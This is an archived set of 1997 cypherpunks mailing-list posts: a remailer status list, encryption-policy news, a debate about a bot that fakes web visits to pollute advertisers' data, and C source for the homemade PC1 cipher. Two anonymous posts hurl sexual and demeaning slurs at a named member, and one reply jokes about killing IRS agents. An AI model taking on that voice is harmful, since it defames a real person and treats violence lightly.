"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 21 Apr 1997 00:47:44 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <335B19A3.6E0B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


At 2:13 PM -0700 4/20/97, Declan McCullagh wrote:
 >I suggest that one can
 >believe in minimal government and other libertarian mainstays without
 >seeing a need to kill off those whom we dislike, be they IRS agents or
 >surly supermarket clerks.

  You can, but it takes most of the fun out of it.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 04:27:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Accounts payable
Message-ID: <199704211127.EAA29286@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is a licenced sexual pervert who wears women's 
underwear.

 .   ___ o Timmy May
 ^z\/o\ o
 ^z/\_~_/
 '   '





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 21 Apr 1997 06:50:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704211350.GAA12897@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 21 Apr 97 6:48:37 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ##*-*++#**##    19:37 100.00%
winsock  winsock@rigel.cyberpass.net      +----..-.---  5:54:16  99.99%
hidden   remailer@hidden.net              *#*##*#+####     7:26  99.98%
balls    remailer@huge.cajones.com        ##*#########     1:07  99.97%
weasel   config@weasel.owl.de             -+-+-----+-   2:16:35  99.94%
reno     middleman@cyberpass.net          *+-*-++**-*+  2:29:17  99.94%
lucifer  lucifer@dhp.com                  *--++++++++*    33:45  99.93%
mix      mixmaster@remail.obscura.com     +*-+-++-+.-+  6:04:42  99.89%
squirrel mix@squirrel.owl.de              -+-+-----++   2:13:15  99.82%
cyber    alias@alias.cyberpass.net        *++*+++ +++*    32:24  99.70%
replay   remailer@replay.com              ** +*** * **    14:29  99.43%
extropia remail@miron.vip.best.com        ..-..-_.-    20:55:08  93.49%
exon     remailer@remailer.nl.com          * ##     ##  1:06:10  91.25%
dustbin  dustman@athensnet.com            +-+--._-      2:47:22  60.26%
jam      remailer@cypherpunks.ca                    **     8:35  56.18%
shaman   remailer@lycaeum.org             --+*+++         21:34  44.82%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 21 Apr 1997 06:38:40 -0700 (PDT)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <Pine.BSF.3.91.970421075655.992H-100000@mcfeely.bsfs.org>
Message-ID: <335B6BAB.1327@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat wrote:

> Um, did I miss somethin', or are we arguing about light-bulb jokes?

rw,
  It's been a slow week. (Maybe someone ought to start an abortion
thread.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 21 Apr 1997 06:11:51 -0700 (PDT)
To: Carl Johnson <toto@sk.sympatico.ca>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <335835C6.7CFC@sk.sympatico.ca>
Message-ID: <Pine.BSF.3.91.970421075655.992H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 18 Apr 1997, Carl Johnson wrote:

> Timothy C. May wrote:
> > At 5:55 PM -0800 4/18/97, Igor Chudov @ home wrote:
> > >Timothy C. May wrote:
> > >> ....and at least 1 to say that you gave no credit for this. Did you write
> > >> it yourself? If so, congratulations, as it was pretty good. If you did not,
> > >> you left out any mention of the author, or at least where you found it.
> 
> > >it was not me. When i got it, it had no attribution on it also.
>  
> > Then it's best to say so. "Anonymous" or "No attribution" is preferable to
> > simple forwarding.
> 
>   When the post arrives with three or four sets of '> >>' (<--whatever
> the
> fuck these things are called), then even those of us who lost the better
> part of our brains in the Drug War are able to figure out that it is a
> forwarded-forwarded-forwarded post.
>   I think Tim is fighting old wars in his head. (Find your shoes, yet,
> Tim?)
> 
> > --Tim May, who's had his own stuff forwarded without credit, and recalls
> > when one of Perry Metzger's pieces arrived back on the list, sans credit.
> 
>   I can sympathize with Tim, here. People who plagarize the works of 
> others, or who steal credit for other's ideas, are the scum of the
> earth.
> 

Um, did I miss somethin', or are we arguing about light-bulb jokes?

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 21 Apr 1997 05:48:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EUR_gov
Message-ID: <1.5.4.32.19970421124634.0089620c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


     21 April 1997:

     US Govt Licenses First European Encryption Firm

     London: The US Department of Commerce has awarded the
     euro-encryption rights to Internet Smartware, a UK company.
     According to Internet Smartware, the agreement overcomes
     two major stumbling blocks which have prevented businesses
     from using the Internet for commercial use: 

     Firstly, European companies can now implement US
     developed 56-bit DES (data encryption standard) encryption
     technology, which the company claims is the accepted
     minimum requirement for Internet commerce, and beyond. 

     Secondly, companies will no longer have to give authorities
     such as the US government free access to their encrypted
     data. 

     Internet Smartware claims that the agreement also provides
     UK companies with an effective alternative to the recent,
     unpopular DTI (Department of Trade and Industry)
     encryption proposals, which recommend that companies
     must give "trusted third parties" access to encrypted data. 

----------

     "Smart" Cash Cards Pose Law Enforcement Challenges 

     Washington: "Smart cards" that store electronic currency 
     have the potential to revolutionize commerce, but the emerging 
     technology poses challenges for the law enforcement community, 
     government officials said Friday. 

     "The same electronic commerce technology that will save
     time and money is also capable of being abused," said Peter
     Toren, senior attorney in the U.S. Justice Department's
     computer fraud division. Toren, speaking at a conference at 
     American University's law school here, warned that the cards 
     offer the "threat of the perfect counterfeit" because any criminal 
     that can copy them "can create an unending stream of money." 

----------

     IISP Panel Addresses Cyberspace Payments

     New York -- Developing secure, cost effective and efficient 
     electronic payment systems is critical to creating a truly 
     global commercial marketplace, and efforts are already underway 
     to address the technology, business, regulatory and legal 
     aspects of cyberspace payments, according to speakers at a 
     March 25-26 panel sponsored by ANSI's Information 
     Infrastructure Standards Panel (IISP). 

     "Micro-payments, anonymous cash, `Smart Cards,' digital
     cash, electronic purses, and `e-cash' all describe different
     approaches to achieving a secure payments solution," said
     ANSI board Member Oliver Smoot. "As these new payments 
     evolve, standards to facilitate interconnection and interoperability 
     are critical." 

     Thomas J. Firnhaber, Policy Adviser at FinCEN, focused on 
     the potential impact of cyberpayments on regulatory and law 
     enforcement and provided an overview of the U.S. Department 
     of Treasury's Cyberpayments efforts to date. "The anonymity, 
     rapidity, volume and audit difficulty of cyberpayments has 
     challenged traditional investigative techniques," he said.

----------

     Smart Cards The Next Wave - Report 

     London: Frost & Sullivan (F&S) has announced the 
     publication of a smart card report that predicts the arrival 
     of multi-function smart cards is almost upon us. 

     "Electronic Access Control" predicts that it will soon be possible 
     for a smart card to carry out credit and debit card transactions, as 
     well as holding details of your medical records, your frequent flyer
     mileage, your social security number, your address. 

     According to F&S, a threat to this technological advance may
     be the consumer concern for the loss of privacy and a
     potential Big Brother scenario. Who, the company asks, gets
     to access the information is an issue on the minds of the
     consumer?

----------

EUR_gov

or

http://jya.com/eurgov.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 21 Apr 1997 08:14:13 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ADMINISTRATIVIUM] Accounts payable
In-Reply-To: <199704211127.EAA29286@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970421091315.96714C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 21 Apr 1997, Huge Cajones Remailer wrote:

> Timmy May is a licenced sexual pervert who wears women's 
> underwear.
> 
>  .   ___ o Timmy May
>  ^z\/o\ o
>  ^z/\_~_/
>  '   '
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com
Date: Mon, 21 Apr 1997 09:17:59 -0700 (PDT)
Subject: No Subject
Message-ID: <3.0.1.32.19970421121555.007cf710@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


0
X-Sender: camcc@smtp1.abraxis.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Mon, 21 Apr 1997 12:15:55 -0400
To: Cypherpunks <cypherpunks@toad.com>
From: Alec <camcc@abraxis.com>
Subject: Re: Missing Jet
Cc: Jordan <jordan@macandco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

>Subject: Re: Missing Jet
>Date: Mon, 21 Apr 97 11:59:16 -0400
>x-sender: jordan1@macandco.com
>From: Jordan <jordan@macandco.com>
>To: "Alec" <camcc@abraxis.com>

>Check this out:
>
http://cnn.com/US/9704/20/plane.found/index.html
>
>The USAF probably went to a junkyard and dumped srap metal on the ground.
>
>- Jordan

Where do folks get such wild ideas?

Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 21 Apr 1997 10:32:54 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704200550.BAA06124@dhp.com>
Message-ID: <Pine.BSF.3.91.970421121750.1432H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:

> Huge Cajones Remailer wrote:
> > List members,
> > 
> > Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> > 
> > Just attribute it to me.
> > 
> > Anonymous
> 
>   Sounds to me like Anonymous is trying to take credit for Nobody's
> creation.
> 
> Nobody (#2)
> 
> 

Surely you jest; Sombody obviously wrote it ...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 21 Apr 1997 13:25:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704211930.MAA16496@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is just a poor excuse for an unschooled, retarded thug.

       0
     //\/ Timmy May
    \/\
  ... /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Mon, 21 Apr 1997 11:32:06 -0700 (PDT)
To: Adam Shostack <adam@homeport.org>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704192038.NAA19881@kirk.edmweb.com>
Message-ID: <3.0.1.32.19970421133153.02551970@labg30>
MIME-Version: 1.0
Content-Type: text/plain


At 03:32 PM 4/20/97 -0500, Adam Shostack wrote:
>	Thats true, but can they avoid it?  I'm considering writing a
>database pollution bot, which runs around, claiming to be Mozilla or
>IE, and randomly following a link once per minute.  Why?  Database
>pollution.  If there are a few thousand of these randomly collecing
>links and creating arbitrary (or perhaps biased) viewing habbits in
>the databases of the advertisers, then their individual data becomes
>worth less.  They'll need to actively solicit peoples permission to
>collect data before doing so, to avoid people polluting their
>databases.
>
>	Similarly, putting a randomly generated email address in those
>sign up fields produces pollution in the data used by spammers, which
>costs them (and no one else) money.  If you run your own site, you can
>even bit bucket the email, trading their bandwidth for yours, and
>making them think they're delivering more junk email than they are.

You are forgetting to separate the marketers from the businesses being
marketed here.  While they're occasionally one and the same (see Cantor &
Siegel), in today's world, the marketing is being handled by a third party
(doubleclick).

These marketers get paid by hit-count ratings:  if they deliver the message
to 1,000 browsers, they get some amount, say $15.00.  If they deliver it to
100,000 browsers, they get $1500.00.  They're not paid by the number of
respondents, referred sales, or even valid e-mail addresses snarfed.  So,
you'd only be artifically inflating the cost of the marketers to the
advertisers.

Here, your hope is that the advertisers notice a diminishing ROI for
marketing costs, but that's a big hope.  The numbers for a small site might
look something like this:

January -  20,000 hits, 50 sales
February - 22,000 hits, 60 sales
March    - 25,000 hits, 70 sales
April    - 50,000 hits, 90 sales  <-- pollutionbot strikes 20,000 times

So, you've watered it down a bit.  To make the pollutionbot truly
effective, you'd have to hit a site by at least 10x the general population
strikes:

May      - 440,000 hits, 100 respondents <- pollutionbot strikes 400,000 times

In the meantime, they're billing the business:
Month        Hits   Sales  Billing    Cost/sale  Pollutionbot hits/inflation
January  -  20,000   50     $300        $6.00            0     $0
February -  22,000   60     $330        $5.50            0     $0
March    -  25,000   70     $375        $5.36            0     $0
April    -  50,000   90     $750        $8.33       20,000   $300
May      - 440,000  100    $6600       $66.00      400,000  $6000

Hopefully, the advertisers will pull out at this point.  It's easy to see
that something "bad" is happening, and that they're not getting the bang
for the buck that they need.  However, with some megasites (where they
reportedly get 2,000,000+ hits per day) subscribing to doubleclick.com,
it's doubtful you could make a noticable dent unless you started your
attack from a T3 connected backbone site.  And even then, are you sure you
want to spend your resources this way?

The marketers will also try to keep this sham up by saying to the
businesses, "It's the Internet, who the hell knows?  Keep going another
month, it'll get better.  In the meantime, just pay your bills."

Even if you were successful at flooding doubleclick, many of their
advertisers are Big:  IBM, Micro$oft, HP, etc.  They don't even care about
direct responses, they're just after name recognition.

Ultimately, it'll reduce the ability of Mom & Pop (or Cantor & Siegel) to
advertise on the same playing field as Micro$oft.  Doubleclick won't go
broke; neither will Micro$oft.  The only good hope you may have is of
breaking a "mom & pop" version of doubleclick, and keeping the world less
polluted.  But, doubleclick will still be around and be able to move in and
fill the void.  What have you gained then?

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "alex" <alexandermail@hotmail.com>
Date: Mon, 21 Apr 1997 05:36:19 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: description of the PC1 cipher - please comment
Message-ID: <12401499302290@bplorraine.fr>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Voici l'algorithme de codage PC1 ( Pukall Cipher 1 ). C'est un algorithme
de chiffrement en continu ( chaque octet est chiffre separement ) en mode
CFB ( chaque octet chiffre modifie le codage des suivants ). Il a ete cree
en 1991 par Alexandre Pukall. L'algorithme est sous copyright mais en
diffusion freeware. L'utilisation de l'algorithme PC1 et du protocole qui
suivra est libre comme les modifications eventuelles a la condition unique
que le nom de l'auteur soit mentionne dans la documentations et dans le
logiciel qui pourrait se servir de l'algorithme.

Il est preferable, si la cle utilisee avec l'algorithme PC1 est entree par
l'utilisateur, de recommander a ce dernier d'utiliser des cles hachees.

Il choisit une phrase facile a retenir :

Rene et moi sommes alles a la peche samedi !

et il prend la premiere lettre de chaque mot :

Remsaalps! : ceci est la cle qu'il utilise ( l'algorithme PC1 accepte tous
les caracteres ASCII et les caracteres EBCDIC de valeur 0 a 255 ).

A noter que les variables utilisees dans l'algorithme, sont globales afin
de permettre un brassage entre les differents appels de la fonction code()
dans la fonction principale assemble ().

Le type 'unsigned int' est une variable sur 16 bits ( valeur de 0 a 65535
).
Le type 'unsigned char' est une variable sur 8 bits ( valeur de 0 a 255 ).
Le type 'short' est une variable sur 8 bits ( valeur de 0 a 255 ).

****************************************************************************
****************************************************************************
****************************************************************************
************************

/* Fichier PC1COD.c */
/* ecrit en Borland Turbo C 2.0 sur PC */
/* Algorithme de CODAGE PC1 ( Pukall Cipher 1 ) */
/* (c) Alexandre PUKALL 1991 */
/* Utilisation et modifications libres si le nom de l'auteur est */
/* inclu dans le programme final et la documentation du logiciel */
/* dans un endroit accessible librement par l'utilisateur comme */
/* les fenetres A propos des logiciels sous Windows sur PC */
/* Cet algorithme a ete ecrit en Assembleur 6809 Motorola */
/* le code C ci-dessous est la traduction rapide de cet algorithme */
/* le fonctionnement est identique */

/* A noter que dans cet exemple le programme de codage et le programme */
/* de decodage sont separes */
/* vous pouvez les reunir en un seul en modifiant la zone K */
/* qui est legerement differente pour le codage et le decodage */
/* a cause du lien entre le texte clair et la cle de chiffrement */


#include <stdio.h>
#include <string.h>
unsigned int ax,bx,cx,dx,si,tmp,x1a2,x1a0[5],res,i,inter,cfc,cfd,compte;
unsigned char cle[11]; /* les variables sont definies de facon globale */
short c;
FILE *in,*out;

fin()
{
/* on quitte en effacant toutes les variables utilisees par l'algorithme */

for (compte=0;compte<=9;compte++)
 {
  cle[compte]=0;
 }
ax=0;
bx=0;
cx=0;
dx=0;
si=0;
tmp=0;
x1a2=0;
x1a0[0]=0;
x1a0[1]=0;
x1a0[2]=0;
x1a0[3]=0;
x1a0[4]=0;
res=0;
i=0;
inter=0;
cfc=0;
cfd=0;
compte=0;
c=0;

exit(0);
}
assemble()
{

   x1a0[0]= ( cle[0]*256 )+ cle[1];
   code();
   inter=res;

   x1a0[1]= x1a0[0] ^ ( (cle[2]*256) + cle[3] );
   code();
   inter=inter^res;

   x1a0[2]= x1a0[1] ^ ( (cle[4]*256) + cle[5] );
   code();
   inter=inter^res;

   x1a0[3]= x1a0[2] ^ ( (cle[6]*256) + cle[7] );
   code();
   inter=inter^res;

   x1a0[4]= x1a0[3] ^ ( (cle[8]*256) + cle[9] );;
   code();
   inter=inter^res;
   i=0;
}

code()
{
   dx=x1a2+i;
   ax=x1a0[i];
   cx=0x015a;
   bx=0x4e35;

   tmp=ax;
   ax=si;
   si=tmp;

   tmp=ax;
   ax=dx;
   dx=tmp;

   if (ax!=0)
    {
      ax=ax*bx;
    }

   tmp=ax;
   ax=cx;
   cx=tmp;

   if (ax!=0)
    {
      ax=ax*si;
      cx=ax+cx;
    }

   tmp=ax;
   ax=si;
   si=tmp;
   ax=ax*bx;
   dx=cx+dx;

   ax=ax+1;

   x1a2=dx;
   x1a0[i]=ax;

   res=ax^dx;
   i=i+1;
 }
 main()
 {
   si=0;
   x1a2=0;
   i=0;


   /* C'est le cle ci-dessous ('Remsaalps!') que vous pouvez changer */

   strcpy(cle,"Remsaalps!"); /* copie les 10 caracteres de la cle dans cle
*/

   /* ouverture du fichier ESSAI.TXT qui sera code */
   /* ceci n'existe pas dans l'algorithme original ou tout se passe en RAM
*/
   /* il doit exister un fichier ESSAI.TXT dans le repertoire courant ! */
   /* a vous de le creer ! */

   if ((in=fopen("essai.txt","rb")) == NULL) {printf("\nErreur lecture
fichier ESSAI.TXT !\n");fin();}
   if ((out=fopen("sortie.txt","wb")) == NULL) {printf("\nErreur d'ecriture
fichier SORTIE.TXT !\n");fin();}
   /* le fichier code se trouve dans SORTIE.TXT */

     while ( (c=fgetc(in)) != EOF)  /* la variable c recoit l'octet lu dans
le fichier */
      {
	 assemble(); /* execute la routine de codage */
	 cfc=inter>>8;
	 cfd=inter&255;  /* cfc^cfd = octet aleatoire */

	 /* ZONE K !!!!!!!!!!!!! */
	 /* ici le melange de c ( octet clair ) avec cle[compte] se situe */
	 /* avant le codage de c */

	 for (compte=0;compte<=9;compte++)
	 {
	   /* on melange l'octet clair lu dans le fichier */
	   /* a la cle utilisee pour le codage */

	   cle[compte]=cle[compte]^c;
	 }

	 c = c ^ (cfc^cfd);
	 fputc(c,out); /* ecriture de l'octet code dans le fichier SORTIE.TXT */
      }
      fclose (in);
      fclose (out);
      fin();
   }


****************************************************************************
****************************************************************************
****************************************************************************
************************



****************************************************************************
****************************************************************************
****************************************************************************
************************



/* Fichier PC1DEC.c */
/* ecrit en Borland Turbo C 2.0 sur PC */
/* Algorithme de DECODAGE PC1 ( Pukall Cipher 1 ) */
/* (c) Alexandre PUKALL 1991 */
/* Utilisation et modifications libres si le nom de l'auteur est */
/* inclu dans le programme final et la documentation du logiciel */
/* dans un endroit accessible librement par l'utilisateur comme */
/* les fenetres A propos des logiciels sous Windows sur PC */
/* Cet algorithme a ete ecrit en Assembleur 6809 Motorola */
/* le code C ci-dessous est la traduction rapide de cet algorithme */
/* le fonctionnement est identique */

/* A noter que dans cet exemple le programme de codage et le programme */
/* de decodage sont separes */
/* vous pouvez les reunir en un seul en modifiant la zone K */
/* qui est legerement differente pour le codage et le decodage */
/* a cause du lien entre le texte clair et la cle de chiffrement */


#include <stdio.h>
#include <string.h>
unsigned int ax,bx,cx,dx,si,tmp,x1a2,x1a0[5],res,i,inter,cfc,cfd,compte;
unsigned char cle[11]; /* les variables sont definies de facon globale */
short c;
FILE *in,*out;

fin()
{
/* on quitte en effacant toutes les variables utilisees par l'algorithme */

for (compte=0;compte<=9;compte++)
 {
  cle[compte]=0;
 }
ax=0;
bx=0;
cx=0;
dx=0;
si=0;
tmp=0;
x1a2=0;
x1a0[0]=0;
x1a0[1]=0;
x1a0[2]=0;
x1a0[3]=0;
x1a0[4]=0;
res=0;
i=0;
inter=0;
cfc=0;
cfd=0;
compte=0;
c=0;

exit(0);
}
assemble()
{

   x1a0[0]= ( cle[0]*256 )+ cle[1];
   code();
   inter=res;

   x1a0[1]= x1a0[0] ^ ( (cle[2]*256) + cle[3] );
   code();
   inter=inter^res;

   x1a0[2]= x1a0[1] ^ ( (cle[4]*256) + cle[5] );
   code();
   inter=inter^res;

   x1a0[3]= x1a0[2] ^ ( (cle[6]*256) + cle[7] );
   code();
   inter=inter^res;

   x1a0[4]= x1a0[3] ^ ( (cle[8]*256) + cle[9] );;
   code();
   inter=inter^res;
   i=0;
}

code()
{
   dx=x1a2+i;
   ax=x1a0[i];
   cx=0x015a;
   bx=0x4e35;

   tmp=ax;
   ax=si;
   si=tmp;

   tmp=ax;
   ax=dx;
   dx=tmp;

   if (ax!=0)
    {
      ax=ax*bx;
    }

   tmp=ax;
   ax=cx;
   cx=tmp;

   if (ax!=0)
    {
      ax=ax*si;
      cx=ax+cx;
    }

   tmp=ax;
   ax=si;
   si=tmp;
   ax=ax*bx;
   dx=cx+dx;

   ax=ax+1;

   x1a2=dx;
   x1a0[i]=ax;

   res=ax^dx;
   i=i+1;
 }
 main()
 {
   si=0;
   x1a2=0;
   i=0;


   /* C'est le cle ci-dessous ('Remsaalps!') que vous pouvez changer */

   strcpy(cle,"Remsaalps!"); /* copie les 10 caracteres de la cle dans cle
*/

   /* ouverture du fichier SORTIE.TXT qui sera decode */
   /* ceci n'existe pas dans l'algorithme original ou tout se passe en RAM
*/
   /* il doit exister un fichier SORTIE.TXT dans le repertoire courant ! */
   /* c'est le fichier code par l'algorithme PC1COD.c */

   if ((in=fopen("sortie.txt","rb")) == NULL) {printf("\nErreur lecture
fichier SORTIE.TXT !\n");fin();}
   if ((out=fopen("essai.txt","wb")) == NULL) {printf("\nErreur d'ecriture
fichier ESSAI.TXT !\n");fin();}
   /* le fichier decode se trouve dans ESSAI.TXT */

     while ( (c=fgetc(in)) != EOF)  /* la variable c recoit l'octet lu dans
le fichier */
      {
	 assemble(); /* execute la routine de codage */
	 cfc=inter>>8;
	 cfd=inter&255;  /* cfc^cfd = octet aleatoire */

	 /* ZONE K !!!!!!!!!!!!!! */
	 /* ici le melange de c ( octet clair ) se situe apres le */
	 /* melange avec cle[compte] car il faut decoder d'abord */
	 /* l'octet chiffre */

	 c = c ^ (cfc^cfd);

	 for (compte=0;compte<=9;compte++)
	 {
	   /* on melange l'octet clair lu dans le fichier */
	   /* a la cle utilisee pour le codage */

	   cle[compte]=cle[compte]^c;
	 }

	 fputc(c,out); /* ecriture de l'octet decode dans le fichier ESSAI.TXT */
      }
      fclose (in);
      fclose (out);
      fin();
   }



****************************************************************************
****************************************************************************
